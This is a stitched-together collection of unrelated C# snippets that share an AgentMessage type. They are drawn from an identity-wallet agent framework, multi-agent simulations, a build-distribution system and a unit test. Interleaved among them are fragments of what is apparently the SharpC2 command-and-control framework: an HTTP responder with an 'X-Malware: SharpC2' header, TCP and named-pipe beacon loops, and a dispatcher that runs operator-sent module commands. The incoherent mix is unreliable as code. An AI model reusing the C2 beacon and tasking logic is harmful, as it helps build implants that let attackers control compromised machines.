/// <summary>
/// Created a new threaded message response
/// </summary>
/// <param name="message">The message to thread from.</param>
public static T CreateThreadedReply <T>(this AgentMessage message) where T : AgentMessage, new ()
{
var newMsg = new T();
newMsg.ThreadMessage(message);
return(newMsg);
}
/// <summary>
/// Adds return routing to message
/// </summary>
/// <param name="message">The message to add return routing</param>
public static void AddReturnRouting(this AgentMessage message)
{
message.AddDecorator(new TransportDecorator
{
ReturnRoute = ReturnRouteTypes.all.ToString("G")
}, DecoratorNames.TransportDecorator);
}
private void onCollectingCompleted(GatheredMaterialConcept gatheredConcept, AgentMessage message)
{
AgentMessage reply = message.Reply(AgentMessage.PerformativeType.INFORM);
reply.Content = gatheredConcept;
Send(reply);
}
/// <summary>
/// Invoke the handler pipeline and process the passed message.
/// </summary>
/// <param name="body">The body.</param>
/// <param name="wallet">The wallet.</param>
/// <param name="pool">The pool.</param>
/// <returns></returns>
/// <exception cref="Exception">Expected inner message to be of type 'ForwardMessage'</exception>
/// <exception cref="AgentFrameworkException">Couldn't locate a message handler for type {messageType}</exception>
protected async Task <byte[]> ProcessAsync(byte[] body, Wallet wallet, Pool pool = null)
{
EnsureConfigured();
var agentContext = new AgentContext {
Wallet = wallet, Pool = pool
};
agentContext.AddNext(new MessagePayload(body, true));
AgentMessage outgoingMessage = null;
while (agentContext.TryGetNext(out var message) && outgoingMessage == null)
{
outgoingMessage = await ProcessMessage(agentContext, message);
}
if (outgoingMessage != null) // && dont duplex????
{
//TODO what happens when I fail to transmit the message? need to roll back the state of the internal message?
await MessageService.SendToConnectionAsync(wallet, outgoingMessage,
agentContext.Connection);
outgoingMessage = null;
}
byte[] response = null;
if (outgoingMessage != null)
{
response = await MessageService.PrepareAsync(wallet, outgoingMessage, "");
}
return(response);
}
private void SendData(Socket handler, AgentMessage message)
{
var encrypted = CryptoController.Encrypt(message);
var response = new StringBuilder("HTTP/1.1 200 OK\r\n");
response.Append(string.Format("X-Malware: SharpC2\r\n"));
response.Append(string.Format("Content-Length: {0}\r\n", encrypted.Length));
response.Append(string.Format("Date: {0}\r\n", DateTime.UtcNow.ToString("ddd, d MMM yyyy HH:mm:ss UTC")));
response.Append("\r\n");
var headers = Encoding.UTF8.GetBytes(response.ToString());
var dataToSend = new byte[encrypted.Length + headers.Length];
Buffer.BlockCopy(headers, 0, dataToSend, 0, headers.Length);
Buffer.BlockCopy(encrypted, 0, dataToSend, headers.Length, encrypted.Length);
try
{
handler.BeginSend(dataToSend, 0, dataToSend.Length, 0, new AsyncCallback(SendCallback), handler);
}
catch
{
// socket may be forcibly closed if agent dies
}
}
public void AddAgentMessage()
{
using (var uow = new CapriconContext())
{
//retreive an existing agent
var agentRepository = new AgentRepository(uow);
var existingAgent = agentRepository.GetAll().FirstOrDefault();
Assert.IsNotNull(existingAgent);
//retreive an existing message
var messageRepository = new MessageRepository(uow);
var existingMessage = messageRepository.GetAll().LastOrDefault();
Assert.IsNotNull(existingMessage);
//create new agent messsage
var newAgentMessage = new AgentMessage()
{
Agent = existingAgent,
Message = existingMessage
};
//add the new agent message to the repository
var agentMessageRepository = new AgentMessageRepository(uow);
agentMessageRepository.Add(newAgentMessage);
try
{
uow.SaveChanges();
}
catch (DbEntityValidationException ex)
{
//Retrieve validation errors
ex.EntityValidationErrors.ToList().ForEach
(
v =>
{
v.ValidationErrors.ToList().ForEach
(
e =>
{
System.Diagnostics.Debug.WriteLine(e.ErrorMessage);
}
);
}
);
Assert.Fail("Test failed");
}
//retrieve saved object
var uow1 = new CapriconContext();
var repository = new AgentMessageRepository(uow1);
var savedAgentMessages = repository.GetAll().ToList();
Assert.AreEqual(savedAgentMessages[0].Agent.FirstName, existingAgent.FirstName = "Blaise");
Assert.AreEqual(savedAgentMessages[0].Message.MessageId, existingMessage.MessageId = 1);
};
}
public override async Task OnConnectedAsync()
{
var msg = new AgentMessage <RpcRequest>
{
Author = new Author(_uiAgent),
Data = new RpcRequest
{
Type = RpcRequestType.GetAllTasks,
RequestedAgent = AgentType.DbManager
},
MessageType = MessageType.DbRequest,
SendDate = DateTime.Now
};
var result =
await _uiAgent.CallAsync <Dictionary <string, TaskWithSubTasks> >(msg, TimeSpan.FromSeconds(30));
if (result != null)
{
// _logger.LogInformation(JsonSerializer.Serialize(result.Data));
await Clients.Caller.SendCoreAsync(SignalRMessages.TasksConnectAccepted.ToString(),
new object[] { result.Data });
}
await base.OnConnectedAsync();
}
private void ClientConnectCallback(IAsyncResult ar)
{
Status.Set();
var client = ar.AsyncState as TcpClient;
try
{
client.EndConnect(ar);
var stream = client.GetStream();
var outbound = new AgentMessage {
Metadata = Metadata
};
if (Outbound.Count > 0)
{
outbound = Outbound.Dequeue();
}
var encrypted = Crypto.Encrypt(outbound);
var state = new CommStateObject {
Handler = client, Worker = stream
};
stream.BeginWrite(encrypted, 0, encrypted.Length, new AsyncCallback(ClientWriteCallback), state);
}
catch
{
// Agent has probably been closed or killed
ModuleStatus = ModuleStatus.Stopped;
}
}
private void HandleMessage(AgentMessage message)
{
if (string.IsNullOrEmpty(message.Data.AgentID) || message.Data.AgentID.Equals(AgentMetadata.AgentID, StringComparison.OrdinalIgnoreCase)) // message is for this agent
{
if (!string.IsNullOrEmpty(message.Data.Module))
{
try
{
var callBack = AgentModules
.Where(m => m.Name.Equals(message.Data.Module, StringComparison.OrdinalIgnoreCase))
.Select(m => m.Commands).FirstOrDefault()
.Where(c => c.Name.Equals(message.Data.Command, StringComparison.OrdinalIgnoreCase))
.Select(c => c.CallBack).FirstOrDefault();
callBack?.Invoke(message.Data.Data);
}
catch (Exception e)
{
SendError(e.Message);
}
}
}
else // for a p2p agent
{
P2P.BroadcastMessage(message); // very lazy approach until i can figure out a solution
}
}
public override async Task <AgentMessage> ProcessRpcAsync(AgentMessage <RpcRequest> message)
{
if (message.MessageType == MessageType.FileRequest && message.Data.Args.Length > 0)
{
try
{
var response = await GetFileAsync(message.Data.Args[0]);
return(new AgentMessage <byte[]>
{
Author = this,
Data = response,
MessageType = MessageType.RpcResponse
});
}
catch (Exception e)
{
_logger.LogError("Error occured while downloading {@TaskId} in {@AgentName} with {@Exception}",
message.Data.Args[0], nameof(FileWorkerAgentImpl), e.ToString());
return(new AgentMessage <byte[]>
{
Author = this,
MessageType = MessageType.RpcResponse
});
}
}
return(null);
}
private static void ThreadMessage(this AgentMessage messageToThread, AgentMessage messageToThreadFrom)
{
ThreadDecorator previousMessageThreadContext = null;
try
{
previousMessageThreadContext = messageToThreadFrom.GetDecorator <ThreadDecorator>(DecoratorIdentifier);
}
catch (AriesFrameworkException) { }
ThreadDecorator currentThreadContext;
if (previousMessageThreadContext != null)
{
currentThreadContext = new ThreadDecorator
{
ParentThreadId = previousMessageThreadContext.ParentThreadId,
ThreadId = previousMessageThreadContext.ThreadId
};
}
else
{
currentThreadContext = new ThreadDecorator
{
ThreadId = messageToThreadFrom.Id
};
}
messageToThread.AddDecorator(currentThreadContext, DecoratorIdentifier);
}
public override async Task ProcessMessageAsync(AgentMessage message)
{
try
{
switch (message.MessageType)
{
case MessageType.Connection:
var connectionMessage = message.Data.ToObject <ConnectionMessage>();
connectionMessage.Who ??= message.Author;
await _agentUiHub.Clients.All.SendAsync(SignalRMessages.AgentConnections.ToString(),
connectionMessage);
break;
case MessageType.WorkerTask:
case MessageType.TaskStat:
var task = message.Data.ToObject <TaskMessage>();
task.Data = new byte[0];
task.WorkerName = message.Author.SubType;
await _taskUiHub.Clients.All.SendAsync(SignalRMessages.TaskStateChanged.ToString(), task);
break;
}
}
catch (Exception e)
{
_logger.LogError(e, "Can`t process message");
}
}
private void StartClient()
{
Task.Factory.StartNew(delegate()
{
while (ModuleStatus == ModuleStatus.Running)
{
Status.Reset();
var pipe = new NamedPipeClientStream(ConnectHost, Pipename, PipeDirection.InOut, PipeOptions.Asynchronous);
pipe.Connect(5000);
var outbound = new AgentMessage {
Metadata = Metadata
};
if (Outbound.Count > 0)
{
outbound = Outbound.Dequeue();
}
var dataToSend = Crypto.Encrypt(outbound);
pipe.BeginWrite(dataToSend, 0, dataToSend.Length, new AsyncCallback(ClientWriteCallback), pipe);
Status.WaitOne();
Thread.Sleep(1000);
}
});
}
/// <summary>
/// Prepares a wire level message from the application level agent message asynchronously
/// this includes packing the message and wrapping it in required forward messages
/// if the message requires it.
/// </summary>
/// <param name="wallet">The wallet.</param>
/// <param name="message">The message context.</param>
/// <param name="recipientKey">The key to encrypt the message for.</param>
/// <param name="routingKeys">The routing keys to pack the message for.</param>
/// <param name="senderKey">The sender key to encrypt the message from.</param>
/// <returns>The response async.</returns>
public static async Task <byte[]> PrepareAsync(Wallet wallet, AgentMessage message, string recipientKey, string[] routingKeys = null, string senderKey = null)
{
if (message == null)
{
throw new ArgumentNullException(nameof(message));
}
if (recipientKey == null)
{
throw new ArgumentNullException(nameof(recipientKey));
}
// Pack application level message
var msg = await PackAsync(wallet, recipientKey, message.ToByteArray(), senderKey);
var previousKey = recipientKey;
if (routingKeys != null)
{
// TODO: In case of multiple key, should they each wrap a forward message
// or pass all keys to the PackAsync function as array?
foreach (var routingKey in routingKeys)
{
// Anonpack
msg = await PackAsync(wallet, routingKey, new ForwardMessage { Message = JObject.Parse(msg.GetUTF8String()), To = previousKey });
previousKey = routingKey;
}
}
return(msg);
}
// Получение сообщения от другого агента
public override void EventMessage(AgentMessage message)
{
if (message.message == Enums.MessageType.Infected.ToString() &&
healthState == Enums.HealthState.Susceptible)
{
isBeingInfected = true;
}
}
public override async Task ProcessMessageAsync(AgentMessage message)
{
if (message.MessageType == MessageType.DeleteFile)
{
var taskId = message.To <string>().Data;
await DeleteFileAsync(taskId);
}
}
public void BroadcastMessage(AgentMessage message)
{
var modules = P2PAgents.Values.ToList();
foreach (var module in modules)
{
module.SendData(message);
}
}
/// <summary>
/// Removes the attachment.
/// </summary>
/// <param name="message">The message.</param>
/// <param name="nickname">The nickname.</param>
/// <returns></returns>
public static bool RemoveAttachment(this AgentMessage message, string nickname)
{
var decorator = message.FindDecorator <AttachDecorator>("attach") ?? new AttachDecorator();
var result = decorator.Remove(decorator[nickname]);
message.SetDecorator(decorator, "attach");
return(result);
}
/// Listens for actions, memories, and values and sends them
/// to the corrensponding brains.
public void UpdateActions()
{
// TO MODIFY --------------------------------------------
sender.Send(Encoding.ASCII.GetBytes("STEPPING"));
string a = Receive();
AgentMessage agentMessage = null;
try
{
agentMessage = JsonConvert.DeserializeObject <AgentMessage>(a);
}
catch (Exception e)
{
Debug.Log(a);
Debug.Log(e);
}
foreach (Brain brain in brains)
{
if (brain.brainType == BrainType.External)
{
string brainName = brain.gameObject.name;
Dictionary <int, float[]> actionDict = new Dictionary <int, float[]>();
for (int i = 0; i < current_agents[brainName].Count; i++)
{
if (brain.brainParameters.actionSpaceType == StateType.continuous)
{
actionDict.Add(current_agents[brainName][i],
agentMessage.action[brainName].GetRange(i * brain.brainParameters.actionSize, brain.brainParameters.actionSize).ToArray());
}
else
{
actionDict.Add(current_agents[brainName][i],
agentMessage.action[brainName].GetRange(i, 1).ToArray());
}
}
storedActions[brainName] = actionDict;
Dictionary <int, float[]> memoryDict = new Dictionary <int, float[]>();
for (int i = 0; i < current_agents[brainName].Count; i++)
{
memoryDict.Add(current_agents[brainName][i],
agentMessage.memory[brainName].GetRange(i * brain.brainParameters.memorySize, brain.brainParameters.memorySize).ToArray());
}
storedMemories[brainName] = memoryDict;
Dictionary <int, float> valueDict = new Dictionary <int, float>();
for (int i = 0; i < current_agents[brainName].Count; i++)
{
valueDict.Add(current_agents[brainName][i],
agentMessage.value[brainName][i]);
}
storedValues[brainName] = valueDict;
}
}
}
/// <summary>
/// Threads the current message.
/// </summary>
/// <param name="messageToThread">Message to thread.</param>
/// <param name="threadId">Thread id to thread the message with.</param>
public static void ThreadFrom(this AgentMessage messageToThread, string threadId)
{
var currentThreadContext = new ThreadDecorator
{
ThreadId = threadId
};
messageToThread.AddDecorator(currentThreadContext, DecoratorIdentifier);
}
/// <summary>
/// Prepares a wire level message from the application level agent message for a connection asynchronously
/// this includes packing the message and wrapping it in required forward messages
/// if the message requires it.
/// </summary>
/// <param name="wallet">The wallet.</param>
/// <param name="message">The message context.</param>
/// <param name="connection">The connection to prepare the message for.</param>
/// <returns>The response async.</returns>
public static Task <byte[]> PrepareAsync(Wallet wallet, AgentMessage message, ConnectionRecord connection)
{
var recipientKey = connection.TheirVk
?? throw new AriesFrameworkException(ErrorCode.A2AMessageTransmissionError, "Cannot find encryption key");
var routingKeys = connection.Endpoint?.Verkey != null ? connection.Endpoint.Verkey : new string[0];
return(PrepareAsync(wallet, message, recipientKey, routingKeys, connection.MyVk));
}
protected override void Action()
{
AgentMessage message = getMessage();
while (message != null)
{
Agent.PreProcessMessage(message);
message = getMessage();
}
}
override protected void Action()
{
MaterialConcept materialConcept = new MaterialConcept(materialType);
AgentAction action = new GetMaterialAction(materialConcept, amount);
AgentMessage message = new AgentMessage(AgentMessage.PerformativeType.INFORM);
message.Receiver = AgentId.ParseGlobalId(receiver);
message.Content = action;
Agent.Send(message);
}
private static DidExchangeProblemReportMessage CreateProblemReportMessage(AgentMessage message)
{
var response = message.CreateThreadedReply <DidExchangeProblemReportMessage>();
response.ProblemCode = message is DidExchangeRequestMessage
? DidExchangeProblemReportMessage.Error.RequestProcessingError
: DidExchangeProblemReportMessage.Error.ResponseProcessingError;
return(response);
}
private async Task ScanInvite()
{
var expectedFormat = ZXing.BarcodeFormat.QR_CODE;
var opts = new ZXing.Mobile.MobileBarcodeScanningOptions {
PossibleFormats = new List <ZXing.BarcodeFormat> {
expectedFormat
}
};
var context = await _agentContextProvider.GetContextAsync();
var scanner = new ZXing.Mobile.MobileBarcodeScanner();
var result = await scanner.Scan(opts);
if (result == null)
{
return;
}
AgentMessage message = await MessageDecoder.ParseMessageAsync(result.Text);
switch (message)
{
case ConnectionInvitationMessage invitation:
break;
case RequestPresentationMessage presentation:
RequestPresentationMessage proofRequest = (RequestPresentationMessage)presentation;
var service = message.GetDecorator <ServiceDecorator>(DecoratorNames.ServiceDecorator);
ProofRecord proofRecord = await _proofService.ProcessRequestAsync(context, proofRequest, null);
proofRecord.SetTag("RecipientKey", service.RecipientKeys.ToList()[0]);
proofRecord.SetTag("ServiceEndpoint", service.ServiceEndpoint);
await _recordService.UpdateAsync(context.Wallet, proofRecord);
_eventAggregator.Publish(new ApplicationEvent {
Type = ApplicationEventType.ProofRequestUpdated
});
break;
default:
DialogService.Alert("Invalid invitation!");
return;
}
Device.BeginInvokeOnMainThread(async() =>
{
if (message is ConnectionInvitationMessage)
{
await NavigationService.NavigateToAsync <AcceptInviteViewModel>(message as ConnectionInvitationMessage, NavigationType.Modal);
}
});
}
private Action <GatheredMaterialConcept> getActionOnCollectingCompleted(AgentMessage message)
{
if (message.Protocol == Protocols.FIPA_REQUEST)
{
return(delegate(GatheredMaterialConcept concept) { onCollectingCompleted(concept, message); });
}
else
{
return(null);
}
}
public override void Step()
{
NotifyServerDataReceived();
string jsonData = _communicator.ReceiveFromServer();
AgentMessage message = JsonConvert.DeserializeObject <AgentMessage>(jsonData);
AgentStepMessage stepMsg = _env.Step((Action)message.Action);
string stepData = JsonConvert.SerializeObject(stepMsg, Formatting.Indented);
SendDataBytesToServer(Encoding.ASCII.GetBytes(stepData));
SendDataBytesToServer(_env.GetEnvironmentImageBytes());
}
/// <inheritdoc />
public virtual Task <byte[]> PrepareAsync(Wallet wallet, AgentMessage message, ConnectionRecord connection, string recipientKey = null, bool useRoutingKeys = true)
{
recipientKey = recipientKey
?? connection.TheirVk
?? throw new AgentFrameworkException(
ErrorCode.A2AMessageTransmissionError, "Cannot find encryption key");
var routingKeys = useRoutingKeys && connection.Endpoint?.Verkey != null ? new[] { connection.Endpoint.Verkey } : new string[0];
return(PrepareAsync(wallet, message, recipientKey, routingKeys, connection.MyVk));
}
public AgentMessage Reply(PerformativeType performative)
{
AgentMessage reply = this.MemberwiseClone() as AgentMessage;
reply.Performative = performative;
reply.Sender = this.RealReceiver;
reply.Receiver = this.Sender;
reply.RealReceiver = this.Sender;
reply.InReplyTo = this.ReplyWith;
return(reply);
}
public bool RecvData(out AgentMessage message)
{
if (InboundC2Data.Count > 0)
{
message = InboundC2Data.Dequeue();
return(true);
}
message = null;
return(false);
}
/**
* Actual work performed by SendMessage happens here
*/
public Int32 SendMessageInternal( Connection Sender, AgentMessage NewMessage )
{
Int32 ErrorCode = Constants.INVALID;
// We assume the message is valid, but if somewhere below we change our
// mind, this value will be set to false and we'll eat the message
bool bMessageIsValid = true;
// Logic for the setting of the To and From fields (if not already set)
//
// All connections sending messages are implicitly sending them to the
// Instigator of the Job they're working on. Depending on where the
// message is coming from, we might need to patch up the To field a
// little bit to ensure it's heading to a Local connection when it
// needs to be. The only case this applies is when we receive a message
// from a Remote connection, directed toward a Remote connection, which
// happens when we get a message from a Remote Agent from an even more
// Remote connection (i.e. a Job connection on the remote machine):
//
// To Local, From Local -> routing of main message and replies are ok
// To Local, From Remote -> routing of main message and replies are ok
// To Remote, From Local -> routing of main message and replies are ok
// To Remote, From Remote -> routing of replies is ok, but the main
// message is in trouble if it's not completely handled within the
// Agent's ProcessMessages routine. It would be forwarded on to the
// To field connection which is Remote and we'd end up bouncing the
// message back and forth forever. Need to adjust the To field to
// point to the parent of the To connection (which is where it's
// intended to go anyway). See further below for where we handle
// this case.
// If the From field is not set, give it the connection handle value by
// default so that any response message will automatically be routed back
// to it whether it's the sender or the recipient
if( NewMessage.From == Constants.INVALID )
{
NewMessage.From = Sender.Handle;
}
// If the connection used to send the message is Remote, check for the
// Remote -> Remote case described above
else if( Sender is RemoteConnection )
{
// If the From field is already set, see if we've already registered
// the connection this message is being sent from
Connection FromConnection;
if( !Connections.TryGetValue( NewMessage.From, out FromConnection ) )
{
// This is a new one - make it an alias for the sender so that any
// responses will be directed back via its sending interface
RemoteConnection RemoteSender = Sender as RemoteConnection;
RemoteSender.Aliases.Add( NewMessage.From );
// There are times we want to ensure no new connections are coming online
// where we'll lock the Connections dictionary (see MaintainCache)
lock( Connections )
{
Connections.Add( NewMessage.From, RemoteSender );
}
FromConnection = RemoteSender;
string LogMessage = String.Format( "[SendMessage] Added alias for remote connection: {0:X8} is an alias for {1:X8}",
NewMessage.From,
Sender.Handle );
Log( EVerbosityLevel.Informative, ELogColour.Green, LogMessage );
}
// If this is a Remote -> Remote situation, the proper place to route
// the message to the parent of the remote connection since the Agents
// generally act as glue between connections
if( FromConnection is RemoteConnection )
{
Debug.Assert( NewMessage.To != Constants.INVALID );
Connection ToConnection;
if( (Connections.TryGetValue( NewMessage.To, out ToConnection )) &&
(ToConnection is RemoteConnection) )
{
Connection ToConnectionParent = ToConnection.Parent;
if( ToConnectionParent != null )
{
NewMessage.To = ToConnectionParent.Handle;
}
}
}
}
// If the To field is not set, assign it based on the message type
if( NewMessage.To == Constants.INVALID )
{
// TODO: As we add additional versions, convert to a switch rather than if-else.
// For now, just use a simple if since we only have one version and a switch is
// overkill.
if( NewMessage.Version == ESwarmVersionValue.VER_1_0 )
{
// The default is for messages to be ultimately routed to the Instigator
// unless the message is one of a certain set of types that route
// directly to the connection specified
switch( NewMessage.Type )
{
// These message types need to be routed to the connection specified
// either because they are meant to be simple round-trip messages or
// because they are sent from within Swarm directly to the connection
// and should not be routed anywhere else
case EMessageType.QUIT:
case EMessageType.PING:
case EMessageType.SIGNAL:
NewMessage.To = Sender.Handle;
break;
// These message types need to be routed eventually to the Instigator
// connection, which is the ultimate ancestor up the parent chain, so
// simply assign the most senior parent we have
case EMessageType.INFO:
case EMessageType.ALERT:
case EMessageType.TIMING:
case EMessageType.TASK_REQUEST:
case EMessageType.TASK_STATE:
case EMessageType.JOB_STATE:
// By default, make the sender the recipient for these cases, in
// case the parent is no longer active
NewMessage.To = Sender.Handle;
Connection SenderParent = Sender.Parent;
if( SenderParent != null )
{
// If we have a parent connection and it's active, then
// assign it as the recipient
if( SenderParent.CurrentState == ConnectionState.CONNECTED )
{
NewMessage.To = SenderParent.Handle;
}
}
break;
// These message types are not expected and are each error cases
case EMessageType.NONE: // Should never be set to this
case EMessageType.JOB_SPECIFICATION: // Only used for messages going directly into OpenJob
case EMessageType.TASK_REQUEST_RESPONSE: // Should always have the To field set already
default:
Log( EVerbosityLevel.Informative, ELogColour.Orange, "SendMessage: Invalid message type received, ignoring " + NewMessage.Type.ToString() );
break;
}
// If still no assigned To field, consider it an error
if( NewMessage.To == Constants.INVALID )
{
Log( EVerbosityLevel.Informative, ELogColour.Orange, "SendMessage: No proper recipient found, ignoring " + NewMessage.Type.ToString() );
bMessageIsValid = false;
}
}
}
// If the message remains valid, post it to the queue
if( bMessageIsValid )
{
lock( MessageQueueLock )
{
Debug.Assert( NewMessage != null );
MessageQueueSM.Enqueue( NewMessage );
string NewLogMessage = String.Format( "Step 1 of N for message: ({0:X8} -> {1:X8}), {2}, Message Count {3} (Agent)",
NewMessage.To,
NewMessage.From,
NewMessage.Type,
MessageQueueSM.Count );
Log( EVerbosityLevel.SuperVerbose, ELogColour.Green, NewLogMessage );
MessageQueueReady.Set();
}
ErrorCode = Constants.SUCCESS;
}
else
{
Log( EVerbosityLevel.Informative, ELogColour.Orange, String.Format( "SendMessage: Discarded message \"{0}\"", NewMessage.Type ) );
}
return ( ErrorCode );
}
///////////////////////////////////////////////////////////////////////////
public Int32 GetMessage(Int32 ConnectionHandle, out AgentMessage NextMessage, Int32 Timeout)
{
GetMessageDelegate DGetMessage = Connection.GetMessage;
// Set up the versioned hashtable input parameters
Hashtable InParameters = new Hashtable();
InParameters["Version"] = ESwarmVersionValue.VER_1_0;
InParameters["Timeout"] = (Int32)Timeout;
// Invoke the method, then wait for it to finish or to be notified that the connection dropped
Hashtable OutParameters = null;
IAsyncResult Result = DGetMessage.BeginInvoke(ConnectionHandle, InParameters, ref OutParameters, null, null);
WaitHandle.WaitAny(new WaitHandle[]{ Result.AsyncWaitHandle, ConnectionDroppedEvent });
// If the method completed normally, return the result
if (Result.IsCompleted)
{
// If the invocation didn't fail, end to get the result
Int32 ReturnValue = DGetMessage.EndInvoke(ref OutParameters, Result);
if (OutParameters != null)
{
if((ESwarmVersionValue)OutParameters["Version"] == ESwarmVersionValue.VER_1_0)
{
NextMessage = (AgentMessage )OutParameters["Message"];
// Complete and successful
return ReturnValue;
}
}
}
// Otherwise, error
NextMessage = null;
return Constants.ERROR_CONNECTION_DISCONNECTED;
}
///////////////////////////////////////////////////////////////////////////
public Int32 SendMessage(Int32 ConnectionHandle, AgentMessage NewMessage)
{
SendMessageDelegate DSendMessage = Connection.SendMessage;
// Set up the versioned hashtable input parameters
Hashtable InParameters = new Hashtable();
InParameters["Version"] = ESwarmVersionValue.VER_1_0;
InParameters["Message"] = NewMessage;
// Invoke the method, then wait for it to finish or to be notified that the connection dropped
Hashtable OutParameters = null;
IAsyncResult Result = DSendMessage.BeginInvoke(ConnectionHandle, InParameters, ref OutParameters, null, null);
WaitHandle.WaitAny(new WaitHandle[]{ Result.AsyncWaitHandle, ConnectionDroppedEvent });
// If the method completed normally, return the result
if (Result.IsCompleted)
{
// If the invocation completed, success
return DSendMessage.EndInvoke(ref OutParameters, Result);
}
// Otherwise, error
return Constants.ERROR_CONNECTION_DISCONNECTED;
}
/**
* Sends a message to an Agent (return messages are sent via the FConnectionCallback)
*
* @param Message The message being sent
*
* @return Int32 error code (< 0 is error)
*/
public virtual Int32 SendMessage(IntPtr NativeMessagePtr)
{
StartTiming("SendMessage-Managed", true);
FMessage NativeMessage = (FMessage)Marshal.PtrToStructure(NativeMessagePtr, typeof(FMessage));
Int32 ReturnValue = Constants.INVALID;
if (Connection != null)
{
AgentMessage ManagedMessage = null;
// TODO: As we add additional versions, convert to a switch rather than if-else.
// For now, just use a simple if since we only have one version and a switch is
// overkill.
if (NativeMessage.Version == ESwarmVersionValue.VER_1_0)
{
switch (NativeMessage.Type)
{
case EMessageType.TASK_REQUEST_RESPONSE:
// Swallow this message, since it should not be sent along to a local connection
// since all Job and Task information is contained within the Agent itself
break;
case EMessageType.TASK_STATE:
{
FTaskState NativeTaskStateMessage = (FTaskState)Marshal.PtrToStructure(NativeMessagePtr, typeof(FTaskState));
AgentGuid ManagedTaskGuid = new AgentGuid(NativeTaskStateMessage.TaskGuid.A,
NativeTaskStateMessage.TaskGuid.B,
NativeTaskStateMessage.TaskGuid.C,
NativeTaskStateMessage.TaskGuid.D);
EJobTaskState TaskState = (EJobTaskState)NativeTaskStateMessage.TaskState;
AgentTaskState ManagedTaskStateMessage = new AgentTaskState(null, ManagedTaskGuid, TaskState);
ManagedTaskStateMessage.TaskExitCode = NativeTaskStateMessage.TaskExitCode;
ManagedTaskStateMessage.TaskRunningTime = NativeTaskStateMessage.TaskRunningTime;
// If there is a message, be sure copy and pass it on
if (NativeTaskStateMessage.TaskMessage != IntPtr.Zero)
{
ManagedTaskStateMessage.TaskMessage = FStringMarshaler.MarshalNativeToManaged(NativeTaskStateMessage.TaskMessage);
}
ManagedMessage = ManagedTaskStateMessage;
}
break;
case EMessageType.INFO:
{
// Create the managed version of the info message
FInfoMessage NativeInfoMessage = (FInfoMessage)Marshal.PtrToStructure(NativeMessagePtr, typeof(FInfoMessage));
AgentInfoMessage ManagedInfoMessage = new AgentInfoMessage();
if (NativeInfoMessage.TextMessage != IntPtr.Zero)
{
ManagedInfoMessage.TextMessage = FStringMarshaler.MarshalNativeToManaged(NativeInfoMessage.TextMessage);
}
ManagedMessage = ManagedInfoMessage;
}
break;
case EMessageType.ALERT:
{
// Create the managed version of the alert message
FAlertMessage NativeAlertMessage = (FAlertMessage)Marshal.PtrToStructure(NativeMessagePtr, typeof(FAlertMessage));
AgentGuid JobGuid = new AgentGuid(NativeAlertMessage.JobGuid.A,
NativeAlertMessage.JobGuid.B,
NativeAlertMessage.JobGuid.C,
NativeAlertMessage.JobGuid.D);
AgentAlertMessage ManagedAlertMessage = new AgentAlertMessage(JobGuid);
ManagedAlertMessage.AlertLevel = (EAlertLevel)(NativeAlertMessage.AlertLevel);
AgentGuid ObjectGuid = new AgentGuid(NativeAlertMessage.ObjectGuid.A,
NativeAlertMessage.ObjectGuid.B,
NativeAlertMessage.ObjectGuid.C,
NativeAlertMessage.ObjectGuid.D);
ManagedAlertMessage.ObjectGuid = ObjectGuid;
ManagedAlertMessage.TypeId = NativeAlertMessage.TypeId;
if (NativeAlertMessage.TextMessage != IntPtr.Zero)
{
ManagedAlertMessage.TextMessage = FStringMarshaler.MarshalNativeToManaged(NativeAlertMessage.TextMessage);
}
ManagedMessage = ManagedAlertMessage;
}
break;
case EMessageType.TIMING:
{
// Create the managed version of the info message
FTimingMessage NativeTimingMessage = (FTimingMessage)Marshal.PtrToStructure(NativeMessagePtr, typeof(FTimingMessage));
AgentTimingMessage ManagedTimingMessage = new AgentTimingMessage((EProgressionState)NativeTimingMessage.State, NativeTimingMessage.ThreadNum);
ManagedMessage = ManagedTimingMessage;
}
break;
default:
// By default, just pass the message version and type through, but
// any additional payload of a specialized type will be lost
ManagedMessage = new AgentMessage((EMessageType)NativeMessage.Type);
break;
}
}
if (ManagedMessage != null)
{
try
{
// Finally, send the message to the Agent
StartTiming("SendMessage-Remote", false);
Connection.SendMessage(ConnectionHandle, ManagedMessage);
StopTiming();
ReturnValue = Constants.SUCCESS;
}
catch (Exception Ex)
{
Log(EVerbosityLevel.Critical, ELogColour.Red, "[Interface:SendMessage] Error: " + Ex.Message);
ReturnValue = Constants.ERROR_CONNECTION_DISCONNECTED;
CleanupClosedConnection();
}
}
}
else
{
ReturnValue = Constants.ERROR_CONNECTION_NOT_FOUND;
}
StopTiming();
return( ReturnValue );
}
